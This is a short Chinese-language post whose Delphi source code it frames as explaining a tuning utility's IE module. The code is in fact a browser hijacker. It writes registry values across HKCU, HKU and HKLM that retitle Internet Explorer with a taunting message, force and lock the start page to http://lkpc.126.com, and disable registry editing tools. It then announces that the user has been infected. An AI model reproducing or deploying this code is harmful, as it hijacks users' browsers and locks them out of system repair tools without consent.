其实修改的时候就是修改注册表的几个键值(bullshit)
看看这个delphi得源码,你就会知道怎么写一个windows优化大师中的IE部分的module了(模块出处http://lkpc.126.com )
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons,Registry;
type
TForm2 = class(TForm)
BitBtn1: TBitBtn;
Memo1: TMemo;
procedure BitBtn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.DFM}
procedure TForm2.BitBtn1Click(Sender: TObject);
var
Reg: TRegistry;
s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
Reg := TRegistry.Create;
s1:='哈哈!你曾经浏览过色情网站,还不承认?这里就是证据!';
s2:='http://lkpc.126.com';
s3:='Start Page';
s4:='Window Title';
s5:='DisableRegistryTools';
s6:='HomePage';
reg1:='\Software\Microsoft\Internet Explorer\Main';
reg3:='\Software\Microsoft\Windows\CurrentVersion\Policies\system';
reg4:='\Software\Policies\Microsoft\Internet Explorer\Control Panel';
reg2:='\.DEFAULT\Software\Microsoft\Internet Explorer\Main';
reg5:='\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System';
reg6:='\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel';
try
//修改 HKEY_CURRENT_USER;
Reg.RootKey :=HKEY_CURRENT_USER;
if Reg.OpenKey(reg1,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg3, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg4,true) then
Reg.Writeinteger(s6,1);//解锁主页
//修改HKEY_USERS
Reg.RootKey :=HKEY_USERS;
if Reg.OpenKey(reg2,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg5, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg6,true) then
Reg.Writeinteger(s6,1);
//修改 HKEY_LOCAL_MACHINE
Reg.RootKey :=HKEY_LOCAL_MACHINE;
if Reg.OpenKey(reg1,true) then;
begin
Reg.Writestring(s4,s1);//标题
Reg.Writestring(s3,s2);//缺省主页
end;
if Reg.OpenKey(reg3, True) then
Reg.Writeinteger(s5,1);
if Reg.OpenKey(reg4,true) then
Reg.Writeinteger(s6,1);//解锁主页
Reg.CloseKey;
MessageDlg('你已经中毒了!关闭所有IE窗口再重新打开!看看有什么症状!', mtInformation, [mbOk], 0);
finally
Reg.Free;
inherited;
end;
end;
end.